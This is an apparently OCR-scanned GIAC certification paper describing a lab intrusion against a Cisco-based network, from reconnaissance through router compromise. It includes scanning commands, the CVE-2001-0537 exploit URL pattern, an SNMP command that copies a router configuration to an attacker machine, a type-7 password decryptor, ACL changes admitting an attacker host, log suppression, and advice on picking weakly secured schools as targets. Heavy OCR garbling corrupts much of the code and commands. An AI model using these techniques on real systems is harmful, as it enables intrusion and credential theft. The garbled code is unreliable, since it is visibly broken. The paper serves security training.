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Abstract

This paper was written to partially fulfill the requirements for the GIAC Certified
Incident Handler certification. The purpose is to show how an enterprise
computing system can be exploited to gain privileged, trusted access by initially
using a trivial exploit from outside the target network, gathering information from
internal network equipment and finally gaining access to internal systems. The
attack is first presented and analyzed, and is then carried out by the attacker.
The 6 step incident handling process is then told from the perspective of the
system administrator of the target system.
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Overview and purpose

The basic premise of this paper is that external facing infrastructure equipment
(router, firewall, access server) is often configured in a less secure fashion than
internal systems. That is, equipment that is outside of the main firewall is
sometimes seen as being “expendable”, and if compromised, represents a low
threat level to sensitive internal systems. System administrators take special care
to make sure that malicious traffic is denied access to the internal network,
usually with some type of firewall device, but sometimes may forget that an
attack can be started using comparatively benign information gathering
techniques rather than malicious code.

The steps taken in the attack are as follows.

1. Use scanning techniques to identify as much as possible about the target
network.

2. ldentify the border router as a Cisco system running a version of the I0S
software vulnerable to a well known exploit.

3. Gain access to the router via the exploit and download the router
configuration to the attacker’s network.

4. Analyze the router configuration and plan subsequent steps.

5. Use password cracking tools to decrypt the user level passwords, and
brute-force methods to decrypt the privileged level password.

6. Log into the router, gain privileged access, and make configuration
changes to allow further discovery of internal network devices.

7. Use discovered network devices to obtain an IP address on the internal
network.

8. Effect changes in access to core infrastructure equipment and internal
machines, which will allow some or all network traffic to be captured.

The attack will be considered successful at the completion of step 8. At this point,
further compromise of critical core servers would be possible, given the ability to
sniff network traffic to and from these machines, and to scan for vulnerabilities on
the internal servers. Further penetration could be accomplished and a number of
techniques could be used to retain access to these core servers. These steps are
beyond the scope of this paper.

1. Scanning the target network

The attack begins by using the NMAP scanning utility to discover as much as is
allowed by the network configuration. NMAP (www.insecure.orq) is open source
software that makes the job of scanning networks extremely easy. It can be used
in a variety of configurations to allow discovery of IP addresses used, stealth
scanning that can go largely undetected by the target devices and identification
of basic network topology. The following examples come from the NMAP man
pages.
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nmap -v target.exanpl e.com
This option scans all reserved TCP ports on the nachine
target.exanpl e.com The -v neans turn on verbose node.

nmap -sS -O target. exanpl e. conl 24

Launches a stealth SYN scan agai nst each machine that is up out of the
255 machi nes on class "C' where target.exanple.comresides. It also
tries to determ ne what operating systemis running on each host that
is up and running. This requires root privileges because of the SYN
scan and the OS detection.

nmap -sX -p 22,583,110, 143, 4564 198. 116.*. 1- 127

Sends an Xmas tree scan to the first half of each of the 255 possible 8
bit subnets in the 198.116 class "B" address space. W are testing
whet her the systems run sshd, DNS, pop3d, imapd, or port 4564.

NMAP is available for a number of platforms such as Linux, *BSD, Solaris and
Windows. An extremely useful feature of NMAP is its ability to identify the
operating system of the target devices. This information can be used to plan
attack strategies.

Much can also discovered about the network by browsing the publicly available
services such as web servers, email systems and DNS services. For example, a
browser can be used to verify the existence of a web server on the target
network. Commands such as nslookup, dig or host can be used to determine the
address of the web server. Nslookup can be used to discover the address of
email and DNS servers. Some of these techniques and tools are covered in
subsequent sections of this paper.

2. System identification

The attack continues by identifying a target address as a Cisco router. NMAP
shows the version of the 10S software being used on the border router, which
provides the initial entry point for the attack. A well known vulnerability in Cisco
|IOS software called the HTTP Configuration Arbitrary Administrative Access
Vulnerability is used. This is listed in Bugtrag as ID number 2936, published on
June 27, 2001, and at mitre.org as CVE -2001-0537. Simply put, this bug
enables a non-privileged user to run IOS commands at the highest privilege level
and to view the stored configuration of a router running Cisco 10S software
versions 11.3 and 12.0-2. Vulnerable routers can be discovered on the edge of
many networks because these routers are often treated as non-trusted, less
secure environments than those in the core of the network.
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3. Exploit the vulnerability and obtain the router configuration

The above mentioned 10S vulnerability is one of many that have been
discovered in the last several years. A search of Bugtraq for ‘Cisco I0S
vulnerability’ lists over 75 instances of vulnerabilities in 10S software, dating back
to June of 1995 and covering versions 10.3 to 12.3. Many of these involve the
HTTP server first implemented in 10S version 11.0. The CVE dictionary at
www.cve.mitre.org lists 44 Cisco vulnerabilities and candidates, several
involving http traffic or the http server. Granted, not all of the vulnerabilities can
be exploited to gain privileged access, and many are present in only particular
devices, but enough weaknesses exist in the many versions of IOS generally
employed by most organizations to make an attack on these systems “profitable”
from the attacker’s standpoint.

CVE-2001-0537 has the following definition: “HTTP server for Cisco I0S 11.3 to
12.2 allows attackers to bypass authentication and execute arbitrary commands,
when local authorization is being used, by specifying a high access level in the
URL.” The http server included in 10S is meant to simplify the administration of a
wide range of switches and routers. It provides an easily learned interface to
simplify router administration. Like all http servers, the I0S implementation will
accept a variety of URLS, returning a variety of results based on the success or
failure of the request. In a properly configured router, an administrator must first
authenticate to the router or switch to gain the level of access necessary to make
configuration changes. If the http form authentication fails, or is simply cancelled,
a router running a vulnerable version of the 10S software will still accept a URL
containing the request used to exploit the vulnerability.

Various levels of access, 1 being the lowest and 15 being the highest, can be
specified in the router configuration. Users are assigned these different levels
which gives access to different sets of commands for viewing or changing
configurations. Users and passwords can be defined locally in the configuration,
or be defined in external servers using the Cisco TACACS+ protocol, or the
industry standard RADIUS protocol. CERT issued an advisory (CA-2001-14) on
June 28, 2001 stating “A problem with the HTTP server component of Cisco 10S
system software allows an intruder to execute privileged commands on Cisco
routers if local authentication databases are used.” The problem occurs when a
vulnerable version of I0S is being used, a local user exists in the configuration as
opposed to TACACS+ or RADIUS authentication methods, and the http server is
enabled. By sending a URL such as http://<router address>/level/xx/exec, where
XX is a number between 16 and 99, to a vulnerable system, the attacker can
execute IOS commands at the highest privilege level (15) ultimately gaining
complete control of the device. The specific steps are detailed later in this paper.
The original code demonstrating the vulnerability, written by bashis
(bash@wcd.se) is included in the appendix. The output from running this code
against a vulnerable system is also in the appendix. This code was given to
Cisco and resulted in the publishing of Cisco Bug ID: CSCdt93862. The code
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identifies a target system for the exploit by creating a connection on port 80 with
an HTTP GET request and running through numbers from 0-100 looking for
returns (200 OK) indicating success in executing the crafted URL. It takes an
optional argument (fetch) that will retrieve the configuration from the router
without requiring authentication.

An example of a tool that can be used on a number of published Cisco
vulnerabilities is the Cisco Global Exploiter from Blackangels.it. It is a perl script
that will attempt to run exploits on a target system based on user input. Its use in
exploiting the HTTP Configuration Arbitrary Administrative Access Vulnerability is
shown in the appendix.

This attack simply uses a browser to attempt login to the discovered router. The
authentication fails, but the router still accepts a URL in the form given above.
This will reveal the router configuration, which is saved on the attacker’s system
for analysis.

4. Analyze the router configuration and plan next steps

The router configuration contains a wealth of information about the router’s
attached interfaces, routes to other parts of the network, routing policies, access
control lists, usernames and passwords used for router access, authentication
methods being used, neighboring devices and logging configurations. With
proper analysis, some luck and some assumptions about basic human nature, it
becomes possible to gain further access into the target network.

For example, the router configuration typically contains a number of passwords
encrypted either with a very weak XOR algorithm or a strong MD5 hash. There
are a number of password cracking tools that can decrypt either type of
password; this paper uses a tool called Cain and Abel v2.5 (www.oxid.it) which is
capable of cracking an amazing range of encryption types. With these
passwords, it is often possible to gain access to other infrastructure equipment in
use, discovered by using neighbor discovery techniques such as Cisco Discovery
Protocol (CDP) and other native IOS commands. These usernames and
passwords are critical to subsequent stages of the attack because it relies on
password re-use to continue. The busy lives of system administrators often lead
to password re-use, instead of the best practice of using unique passwords on
different systems. In his book The Art of Deception, world famous ex-hacker
Kevin Mitnick says the following about password re-use: “Attackers rely on
human nature to break into computer systems and networks. They know that, to
avoid the hassle of keeping track of several passwords, many people use the
same or a similar password on every system they access. As such, the intruder
will attempt to learn the password of one system where the target has an
account. Once obtained, it’s highly likely that this password or a variation thereof
will give access to other systems and devices used by the employee.” (319)
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The router configuration also reveals any logging that is being done by the router.
At this stage, hiding the attack is important. An alert system administrator paying
attention to log files could stop the attack before it has really even begun.

There are several other ways a router or other network infrastructure equipment
can be compromised. Many administrators rely on Simple Network Management
Protocol (SNMP) to provide statistics and keep updated on the state of their
networks from a central management station. SNMP is also used to make
changes to router configurations, changing the operation of the network on the
fly. Version 1 of the SNMP protocol uses plain-text community strings
(passwords) to provide authentication. Version 2 of the protocol can use MD5
password hashes, which could still be sniffed off the wire. Either of these is
subject to compromise — either by direct sniffing or by using brute force guessing
techniques to learn community strings. Once this has been done, it is simple to
download router configurations for analysis. An example of how to do this using a
command-line snmp (net-snmp v5.1) tool is below:

snnpget -v 1 -c public 172.16.100.1 .1.3.6.1.4.1.9.2.1.55.192.168.2.2 s

“router.conf”

This command can be interpreted as “using version 1 of snmp, and the
community string “public”, get the router configuration from device 172.16.100.1
and store it in a file called “router.conf’ on the machine having ip address
192.168.2.2. The string of numbers represents the Object Identifier (OID) in the
MIB.

The SNMP Management Information Base (MIB) provides a standard interface
into hundreds of router and switch functions and many tools exist that have easy
to use graphical user interfaces that can browse the MIB tree. The Solarwinds
toolsets include a MIB browser for Windows. Trial versions are available at
www.solarwinds.com.

Most routers and switches also provide either a telnet server or an ssh server to
allow remote, in-band login for management purposes. Brute force password
guessing methods can also be used to gain access to these services.

The complete router configuration, and an analysis, is provided in the attack
section.

5. Decrypt user-level and administrator level passwords
The attack first uses the Cain and Abel tool to decrypt the XOR'd user-level
passwords. The weakly encrypted passwords are identified in the configuration

as a line such as

enabl e password 7 14161606050A7978
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or in the terminal line configurations as

line vty 0 4
password 7 1304131F02025779
 ogi n

The white space separated number 7 indicates this is a Cisco “type 7” cipher and
the actual encryption follows. The first two digits indicate the offset into an
Initialization Vector (IV) where the actual encrypted password begins. The IV is a
well-known value — it begins dsfd;kfoA,.iyewrkl, and so on. Subsequent pairs of
characters in the cyphertext are the hex representation of an XOR of a plaintext
password character with corresponding hex character in the IV. Recovering the
plaintext characters is a matter of XOR'’ing the IV value with the ciphertext value.

Even Cisco admits that this legacy “encryption” is weak and not intended to
provide strong protection. It is rather meant to simply hide passwords from casual
observation.

Many free tools are available that will do all of the drudge work to crack Cisco
type 7 passwords. The network management toolsets from Solarwinds
(www.solarwinds.net), while not free, includes a tool to decrypt type 7 passwords.
The following perl script from www.linuxsecurity.com/docs/Hack-FAQ/data-
networks/cisco-decrypt-password.shtml also does the job.

I/usr/bin/perl -w
$ld: ios7decrypt.pl,v 1.1 1998/01/11 21:31:12 nesrik Exp $

#
#
#
# Credits for orginal code and description hobbit@vian. org,
# SPH Xe, .nudge et al. and for John Bashi nsk

# for Cisco | OS password encryption facts.

#

#

#

Use for any malice or illegal purposes strictly prohibited!

@l at = ( 0x64, 0x73, 0x66, 0x64, 0x3b, Ox6b, 0x66, Ox6f, 0x41,
Ox2c, Ox2e, 0x69, 0x79, 0x65, 0x77, 0x72, Ox6b, Ox6c,
0x64, Ox4a, Ox4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );

while (<>) {

if (/(password|nd5)\s+7\s+([\da-f]+)/io) {
if (!'(length($2) & 1)) {
$ep = $2; $dp = "";
($s, $e) = (%2 =~ /"(..)(.+)/0);
for ($i =0; $i < length(%e); $i+=2) {
$dp .= sprintf
""", hex(substr($e, $i,2)) x|l at [ $s++] ;
}

s/ 7\ s+$ep/ $dp/ ;

print;
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out put

using a file called 7pw that contains the foll ow ng

enable password 7 13121213001C053938
./ios7decrypt.pl <7pw
enabl e password weakpass

The detailed use Cain and Abel as it pertains to this task and screenshots are in
the actual attack section.

Next, the strong MD5 password hash used to encrypt the administrator level
password (enable password) is cracked. The strong encryption is indicated by a
line in the configuration such as

enabl e secret 5 $1$3VOGHF7f 90 gU2GX®Bj bVgARND.

Because this is a true one-way MD5 hash, it is not possible to reverse the
encryption. Rather, the password must be discovered using brute-force password
guessing. MD5 (Message Digest 5) is defined in RFC 1321, which says it “takes
as input a message of arbitrary length and produces as output a 128-bit
"fingerprint” or "message digest" of the input. It is conjectured that it is
computationally infeasible to produce two messages having the same message
digest, or to produce any message having a given prespecified target message
digest”. The algorithm takes an arbitrary length plaintext string and up to eight
salt characters to produce the encrypted password. The salt is stored in the
encrypted string making it possible for someone who knows the plaintext to
reproduce the encrypted string. Of course, if the plaintext is not known, the only
way to “break” the encryption is through brute-force methods, such as a
dictionary attack, dictionary permutations, or true brute-force attack using
predefined characters. Many password cracking tools can perform these types of
attacks by encrypting plaintext at as many as 4000 operations per second on
ordinary desktop computers. A dictionary attack or a dictionary hybrid attack
(reversing plaintext, common character substitutions, changing character case,
etc.) can be used to break an eight character password in as little as 1 hour. A
random character brute-force attack can take much longer. For example,
attacking the ciphertext with hashes of 2-8 characters and a set of 36 characters
(a-z,0-9), produces a keyspace of 2901713047632 which the Cain and Abel tool
can run through in approximately 12 days on an Intel P4 running at 3Ghz. This is
obviously not a trivial task, but costs nothing more than time. If the target system
is valuable enough in the eyes of an attacker, it is still worthwhile.

6. Log into the router and make configuration changes that allow the attack
to continue

With the local username(s) obtained from the router configuration, and the
passwords in hand, it is now possible to log into the router via a telnet session
and gain privileged administrator access. Most routers and switches run a telnet
server on the standard port (21) to allow in-band management. The initial NMAP
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scan will tell if the router is running a telnet server. The first change made is to
modify logging procedures to hide subsequent activity. Assuming the router does
not log to a remote syslog system, and that the system administrator does not
frequently check the router configuration or its local logs, simply turning off
logging during the attack will work. The next step is to use the Cisco Discovery
Protocol to find other internal routers and switches.

Cisco Discovery Protocol (CDP) is a data layer protocol that runs on any media
supporting SNAP frames, such as Ethernet, Frame Relay and ATM. It is used to
discover neighboring devices and shows the platform and I0S version. It runs by
default on all Cisco routers, switches and access servers. Devices with CDP
enabled send periodic (default 60 sec.) advertisements containing network
connection information, platforms, capabilities, system names, time-to-live and
holdtime information. Because it is a layer 2 protocol, CDP only provides this
information for directly connected devices.

As noted, CDP is enabled by default on the devices that support it. Although
there is minimal value or use for it in most environments, many administrators do
not bother to turn it off. With CDP information, it is possible to find other internal
network routers and switches and attempt to gain access to these devices as
well.

In order for the attack to continue to gain access to these internal devices, it may
be necessary to make further changes to the router’s access control lists. A well
designed and properly configured firewall, even one that depends solely on
simple packet filtering, will deny by default all traffic from outside hosts to internal
ones, allowing access to only specific hosts/ports. For example, an access list
entry such as

permt tcp any host 172.16.1.9 eq http
deny ip any any

would allow any outside host to access an internal web server, but deny all other
access. A modification such as

permit tcp any host 172.16.1.9 eq http
permit ip host 192.168.2.4 any
deny ip any any

would additionally allow all traffic from a specific external host to get into the
internal network.

The process of discovering and gaining access to internal routers and switches
could continue using the above methods, possibly until the entire network
infrastructure has been captured.
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7. Use access to internal infrastructure equipment to get an address on the
internal network

A dial-up system, discovered during the previous step, is accessed. Using
information from previous steps and a technique called reverse-telnet, the phone
number needed to access the dial-up system is discovered. Reverse-telnetis a
method that can be used to directly access modems attached to an access
server. It allows commands from the Hayes AT command set to be entered
directly into the modem. For example, the command

ATDT 9, 5551212

would cause the modem to dial out to the specified number. If that number
happened to be one with caller ID, and belonged to the attacker, the telephone
number needed for access could be learned. The attacker could then dial in, and
get an address on the internal network. Details for this step of the compromise
are in the attack section.

8. Make changes to internal equipment and further exploit the system to
allow network traffic to be captured.

With access to trusted, internal systems, and again using information gained in
previous steps, a number of possibilities for continuing the attack exist.

Using the compromised Cisco routers, it would be possible to redirect any or all
traffic to a remote system using Generic Routing Encapsulation (GRE) and policy
routing. This technigue involves creating a tunnel from a captured router to a
device on the far end of the tunnel — usually another Cisco router. This
technique, while an effective way of sniffing traffic remotely, is not a trivial task
and requires some fairly intrusive (and detectable) changes to the router
configuration. It also requires some pretty heavy duty bandwidth to be useful.
This technique is covered in depth in a paper written by David Taylor in July of
2002 called “Using a Compromised Router to Capture Network Traffic.”
(www.netsys.com/library/papers/GRE_sniffing.PDF) A similar technique was
written about in an article by gauis (gaius@hert.org) in Phrack #56 called “Things
to do in Cisco Land When You are Dead.” For an excellent, supposedly fictitious
story where this technique is used to capture traffic, see chapter four of Stealing
the Network: How to Own the Box by FX. (79-133)

Rather than using GRE tunneling, this attack focuses on gaining access to an
internal machine connected to the network to sniff traffic. Because we will be on
a switched network, rather than on shared Ethernet LANS, it will be necessary to
redirect network traffic to the captured machine by using compromised switches
to redirect traffic to the appropriate ports. Cisco Catalyst switches allow the
administrator to copy traffic from specific ports or VLANS to designated monitor
ports. This is usually done to allow network monitoring via a management
workstation, or to capture traffic for troubleshooting purposes.
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Because we now have a machine with an address on the internal network,
scanning for other vulnerable machines becomes much easier. In step 6 of the
attack, it was mentioned that some configuration changes would be made to the
first captured router to allow further penetration. One might ask, why not just
initiate a scan of internal machines at that point? The answer is that in many
cases, a scan from a foreign, external address would attract more attention than
one initiated from inside the network. The network border between internal and
external networks is typically the “them vs. us” point and trust is extended to
hosts inside the network. Being part of an organization’s address space by
nature usually merits a higher degree of trust than that given to “hostile” external
addresses. A scan from an internal machine should yield more information about
the nature of the network and allow the attacker to choose an appropriate target
for the next part of this attack.

Another scan for computers on the network is performed. In this scan, the object
is to not only find and identify computers on the network, but to find vulnerabilities
that can be exploited. This scan uses Nessus (www.nessus.org), another free
package, which not only does discovery and OS fingerprinting, but also tests
targets for a wide array of well known vulnerabilities. Nessus runs on primarily on
*nix systems and uses a client/server model to perform a variety of scanning
functions. There is a Windows version of the client and a commercial version has
been ported entirely to Windows. The server actually performs the scanning and
vulnerability testing, while the client provides an easy to use X interface for
configuration and control. Nessus can be configured to run stealth scans like
NMAP. In fact, Nessus can be configured to use NMAP as the underlying
scanning tool. Vulnerability scanning is done by using a database of well known
attacks and exploits against target machines, once the operating system and
running services have been identified. A series of three articles covering the use
of Nessus was written by Harry Anderson and are available from
www.securityfocus.com/infocus/1741, 1753 and 1759.

Using Nessus, a workstation on one of the internal LAN segments is found
running an older version of the RedHat Linux operating system, and is
compromised using a well known vulnerability in the WU-ftp server. Because it is
not the main focus of this paper, the technical details of the many exploits written
for the WU-ftp server are not covered in this paper. The server, written at
Washington University in St. Louis to allow access to the large public file archives
there, has been the target of many attacks over the years. Many tools used in the
hacker community are available to exploit this service; this paper uses code
downloaded from the packetstormsecurity (www.packetstormsecurity.net) web
site (0006-exploits/bobek.c). The code exploits a buffer overflow vulnerability in
an older version of the WU-ftp server, allowing the remote user to execute
commands as the root user. This allows the attacker to run tcpdump, which will
capture all traffic being directed to the compromised machine. (Note: tcpdump
only captures the header information from network traffic. In order to provide a
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more useful capture, a more sophisticated program such as Ethereal
(www.ethereal.org) could be used. Tcpdump is used as an example tool.)

It is not necessary at this point to gain access to critical internal servers. The goal
is to get access to any machine where it will be possible to set up a sniffer.

References

The URLSs below, pointing to the postings for the IOS vulnerability used in this
paper are shown in the date order that they were first published by the
organizations listed.

The original exploit code sent to Cisco by bashis on May 7, 2001 is available at
packetstormsecurity.nl/UNIX/scanners/ios-w3-vul.c and is included in the
appendix of this paper.

The Cisco alert concerning the 10S vulnerability, posted on June 27, 2001 can be
seen at Cisco Security Advisory: IOS HTTP Authorization Vulnerability-Products
& Services. The public notification of this alert credits bashis and David Hyams,
Ernst & Young, Switzerland, with the simultaneous discovery of the 10S
vulnerability.

The bugtraqg notice (www.securityfocus.com/bid/2936/info/) was also posted on
June 27, 2001.

The alert published by CERT on June 28, 2001 is at www.cert.org/advisories/CA-
2001-14.html

cve.mitre.org posted CVE-2001-0537 on March 9, 2002

The following tools are used during the course of the attack. It is not the intention
of this paper to explain the technical details of how these tools work, but rather
how they are used in the attack. Consult vendor documentation or manual pages
for more information.

Nmap — network scanning tool www.insecure.org

Cain and Abel — password recovery and network reconnaissance
www.oxid.it/cain.html

Nessus — network discovery and vulnerability scanner www.nessus.org

telnet — terminal emulation for remote shell access*
ftp — file transfer utility*
whois — domain name lookup*
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traceroute — trace the network path to a host*

grep — parse through files looking for specified text*

Is — list files and their attributes*

dd — copy disk partitions to a file, another disk or tape*
ps — show process table*

tcpdump — network traffic capture www.tcpdump.org

rat — router auditing tool www.cissecurity.org

* - these commands can be learned by using the ‘man <name>’ command.
Manual pages are included in all *nix distributions and can be looked up online at
unix.about.com/library/misc/blmanpg.htm

A fair amount of familiarity with Cisco IOS and CatOS commands and concepts
is also assumed in this paper. The Cisco web site,
www.cisco.com/en/US/products has links to the full documentation for all Cisco
products.

Platforms/Environments

The target network and the source network were built in a lab setting with no
external connections. The parts of the network relevant to the attack are within
the dotted lines in the diagram below
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Victim’s Platform
The systems targeted in the attack are:
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Cisco Catalyst 6509 switch
One 48 port FastEthernet module
One 12 port Gigabit Ethernet module
Supervisor 2 Multi-layer switch engine
MSFC1 router module — 10S version 12.1
Cisco 2511 access router — 10S 11.3
One FastEthernet port
One 8 port asynchronous serial port
8 US Robotics modems
Cisco Catalyst 3550 switch
IOS 3550 software version 12.1
LAN workstation running RedHat Linux v6.2 with kernel 2.2.14
WUftp server version 2.6.0
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Target network

The target network consists of an internal, trusted environment, a semi-trusted or
DMZ network, and a router acting as a firewall separating the internal network
from the outside.

The firewall, or border router, is a Cisco 7505 with three FastEthernet interfaces.
The router is running version 11.3 of the 10S software.

FastEthernet 0/0 is directly connected to the core switch/router, a Cisco Catalyst
6509, at 100Mbps full duplex. The internal network consists of several LAN
segments, each addressed as a single Class B network subnetted with 24
netmask bits. The internal LAN segments provide connectivity for servers via a
collapsed backbone (all servers on the same subnet) and for workstations,
roughly segregated by the internal organizational structure. For the most part, the
relevant sections of the internal system are the network that provides external
access via a dial-in system (subnet 2) and one of the workstation networks
(subnet 4). The backbone network consists of a number of machines running
various operating systems. TS01 provides network core services such as
directory information via OpenLDAP version 2.1.22, DNS (bind version 9.2.1),
DHCP and central logging via syslog. TS02 runs the Apache web server version
1.3, a sendmail server (v8.12.10) and a backup DNS server. TS03 provides file
storage and print services via Novel IntraNetware version 5.0. TS04 runs
Windows NT version 4 and provides access to databases running on Microsoft
SQL server v6.0. The servers all connect directly to the central Cisco Catalyst
6509 switch via FastEthernet. The workstation LAN segments are connected to a
variety of Ethernet switches, which in turn connect to the FastEthernet ports on
the 65009.

FastEthernet 1/0 is connected to a Cisco Catalyst 2924 switch at 200Mbps full
duplex which provides connections for systems running RedHat Linux v7.3
providing various publicly available services, such as a public web server and an
external CVS server. (Concurrent Versioning System is used to provide version
control for software development.) This semi-trusted or DMZ network is used to
provide minimal services for the general public and is extremely limited as to how
it can communicate with any internal systems. The thinking here is that any
machine compromised on this part of the network should not allow an attacker to
get into the rest of the network. The devices on this part of the network, including
the router interface, are addressed on a single Class B network subnetted with
24 netmask bits. For the most part, the systems on the DMZ network are not
relevant to this attack.

FastEthernet 1/1 is connected to AMO03, which represents the demarcation point
between the internal and external networks. In the “real world” this system would
be to a device used to make a WAN connection through a device such as a
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CSU/DSU or cable modem. Machines belonging to the attacker are connected to
a CiscoPro 10/100 Ethernet switch.

Firewalling for the internal network is provided by a set of Access Control Lists
(ACLs) in the 7505 router. (The complete configuration begins on page 24.)

i p access-list extended externa

permt udp any host 172.16.1.10 eq domain
permt udp any host 172.16.1.9 eq donain
permit tcp any host 172.16.1.9 eq 80
permt tcp any host 172.16.1.10 eq 25
permt tcp any any established

deny i p any any

i p access-list extended interna

permit ip 172.16.0.0 0.0.255.255 any

10 deny i p any any

11 ip access-list extended dnz

12 permt tcp any host 172.16.3.2 eq 80

13 permt tcp any host 172.16.3.3 eq 2401
14 permt tcp any any established

15 deny ip any any

O©CO~NOUITA,WNPE

ACL external (line 1) allows traffic from outside the target network to get to
internal servers on specific ports. It allows DNS lookups (lines 2 and 3), access
to the internal web server (line 4), access to the email server (line 5) and
explicitly denies all other traffic. It also allows traffic from conversations started by
an internal system to pass (line 6). This is necessary because the router is not a
stateful firewall, but rather a simple packet filter

ACL internal (line 8) allows all traffic from the inside network to pass (line 9). Line
10 denies all other traffic and is used to prevent spoofing of ip addresses and
leaking of improperly addressed machines.

ACL dmz (line 11) is similar to the external ACL, but provides protection for the
machines on the DMZ network.

Source network

This is pretty straight-forward. A few machines are set up on a single LAN
segment. AMO1 is an Intel P3 running Fedora Core 1 and AMO2 is an Intel P4
running Windows XP Professional. They are simply being used to initiate scans
against the target network, use telnet to access target devices, and to run the
exploits and tools used in the attack. This network also uses a firewall, provided
by a dual-homed workstation running ipchains on a RedHat version 7.3 box
(AMO03).
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The Attack

As mentioned before, the attack was conducted in a lab setting with no external
connections.

1. Reconnaissance

If this were an attack taking place in the real world, it would be necessary to first
determine a target network. The first thing to do would be to pick a suitable target
organization. Given the kind of attack in this paper, it might be best to look for a
network that would not have very tight security, and might be using older, less
sophisticated equipment. A small to medium sized educational institution, for
example, is not likely to contain extremely valuable information, unlike a financial
institution or major corporation. Given the tight budgets in many smaller
educational institutions, a small school could be using older equipment. Many
educational institutions also subscribe to policies allowing open access to
information resources for their users and might have less strict security policies.

Gathering information could start by using the web-based whois service at
educause.edu (whois.educause.net). Educause handles domain name
administration for the .edu domain. The whois tool provides for the use of
wildcards when looking for domains. A query such as a%.edu will return a list of
the first 100 institutions starting with the letter a. This same query can be run
using the command line whois tool.

whoi s -h whoi s. educause. net a% edu

The whois record contains the names and addresses of the registered DNS
servers. With these addresses, we can use whois again to find the address
space of the institution, using the whois server at arin.net. The American Reqistry
for Internet Numbers (ARIN) assigns ip address space.

whois—h whois.arin.net <address of network>

Ideally, we would be looking for an Educause registration and an ARIN
registration belonging to the same institution. This would indicate that no third
party is involved in the administration of the domain and its address space.

Once a target is chosen, pointing a browser to http://www.<name>.edu will
probably get us the web page describing the institution. Information contained on
the web will help choose a likely target, by possibly revealing the size of the
institution and its staff.

Using the above procedure, I'll choose a fictitious target.

an01% whoi s —-h whoi s. educause. net har % edu
[ whoi s. educause. edu]
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This Regi stry database contains ONLY . EDU donmi ns.
The data in the EDUCAUSE Whoi s dat abase is provided
by EDUCAUSE for information purposes in order to
assist in the process of obtaining informtion about
or related to .edu donmmin registration records.

The EDUCAUSE Whoi s dat abase is authoritative for the
. EDU domai n.

A Wb interface for the . EDU EDUCAUSE Whois Server is
avai |l abl e at: http://whois. educause. net

By submitting a Whois query, you agree that this information
will not be used to allow, enable, or otherw se support

the transnmi ssion of unsolicited comercial advertising or
solicitations via e-nmil

You may use "% as a wldcard in your search. For further
i nformation regarding the use of this WHO S server, please
type: help

Your search has matched multiple domains.

Bel ow are the domains you natched (up to 100). For specific
i nfornmati on on one of these domai ns, please search on that donain.
HARBOR- UCLA- REI . EDU
HARC. EDU
HARCOURT. EDU
HARCUM EDU
HARDI NG. EDU
HARDNOX. EDU
HARFORD. EDU
HARGRAVE. EDU
HARI D. EDU
HAROL DWASHI NGTONCOLLEGE. EDU
HARPERCOLLEGE. EDU
HARRI SONCAREERI NSTI TUTE. EDU
HARRI SSCHOOL. EDU
HARTFORD. EDU
HARTLAND. EDU
HARTLEY. EDU
HARTNELL. EDU
HARTSEM EDU
HARTW CK. EDU
HARVARD. EDU
HARVESTBI BLECOLLEGE. EDU
HARW CH. EDU

HARDNOX.EDU looks interesting.

anD1% whoi s —-h whoi s. educause. net har dnox. edu

--out put truncated--
Dorai n Name: HARDNOX. EDU
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Regi strant:
School of Hard Knocks
1060 W Addi son Ave.
Chi cago, IL
UNI TED STATES

Cont act s:
Admi ni strative Contact:
Maynar d Kr ebbs
maynar d@ar dnox. edu
Techni cal Contact:
r oot

School of Hard Knocks
r oot @ar dnox. edu

Name Servers:

DNS1. HARDNOX. EDU 172.16.1.9
DNS2. HARDNOX. EDU 172.16.1.10
Donmi n record acti vat ed: 27-CQct - 1995

Domai n record | ast updated: 27-Jul -2003
anD1% whoi s -h whois.arin.net 172.16.0.0

[ whoi s. arin. net]

O gNane: School of Hard Knocks
O gl D HARDNOX- 1

Addr ess: 1060 W Addi son Ave
Cty: Chi cago

St at eProv: IL
Post al Code: 60601

Country: us

Net Range: 172.16.0.0-172. 16. 255. 255
ClI DR 172.16. 0.0/ 16

Net Name: HARDNOXNET

Net Handl e:  NET-172-16-0-0-1

Par ent : NET-172-0-0-0-0

Net Type: Di rect Assignnent

NaneServer: DNS1. HARDNOX. EDU
NameSer ver: DNS2. HARDNOX. EDU

Comment :
RegDat e: 1995-10-08
Updat ed: 2003-07- 30

TechHandl e: ROO- ORG ARI N
TechNane: School of har dknocks
TechPhone: +1-888-555-1212
TechEnmmi |l : root @ar dnox. edu
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This shows that the registrar for both the domain hardnox.edu and the class B
address space 172.16.0.0 is the same, the school itself. The border of the school
can be found by running a traceroute to dns.hardnox.edu.

anD1% traceroute dns. hardnox. edu

traceroute to 172.16.1.10 (172.16.1.10), 30 hops nmmx, 38 byte packets
1 192.168.2.1 (192.168.2.1) 0.550 ns 0.487 ms 0.441 ns
2 172.16.100.1 (172.16.100.1) 1.015 ns 1.050 ns 0.934 ns
3 172.16.100.1 (172.16.100.1) 1.139 ms !X * 1.172 ns !X

Although the traceroute does not make it all the way to the DNS server, there is
some useful information. The trace definitely reached the school’s address
space. The last traceroute (line 3) displays a !X in the time fields. According to
the traceroute man page, this indicates “communication administratively
prohibited” and is a good indication that a firewall or access control list is
preventing further access.

2. Scanning

Using NMAP, | start a scan on AMO1 to look for machines on the target subnet.

nmap -sS -v -O 172.16. 100. 1-

This will scan all addresses on network 172.16.100.0 (the subnet discovered with
traceroute) with a TCP SYN scan. The —sS option initiates a “stealth” type scan
where only the first two parts of the of the TCP three-way handshake are
completed. The second part of the handshake (either a SYN:ACK, or RST from
the target) is enough to indicate whether the machine is listening on specific
ports. Most systems will not log a connection unless all three parts of the
handshake are completed. Given the amount of scanning that regularly takes
place on the Internet, it is not necessary at this point to take many precautions
against having the scan detected. A later scan, using better stealth techniques,
will be used to avoid detection. The —v option provides a verbose output, and -O
tries to determine the operating system running on the target. Including a —p
option will allow you to specify which ports are to be scanned. Without this
option, the default is to scan port 1-1024 (well-known ports) and the ports listed
in the services file included with NMAP. The output is shown below.
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Starting nmap 3.48 ( http://ww.insecure.org/ nmap/ ) at 2004-05-30
07:59 CDT

Host 172.16.100.1 appears to be up ... good.

Initiating SYN Stealth Scan agai nst 172.16.100.1 at 07:59

Addi ng open port 80/tcp

Addi ng open port 23/tcp

Addi ng open port 79/tcp

The SYN Stealth Scan took 2 seconds to scan 1657 ports.

For OSScan assum ng that port 23 is open and port 1 is closed and
10 neither are firewalled

11 Interesting ports on 172.16.100. 1:

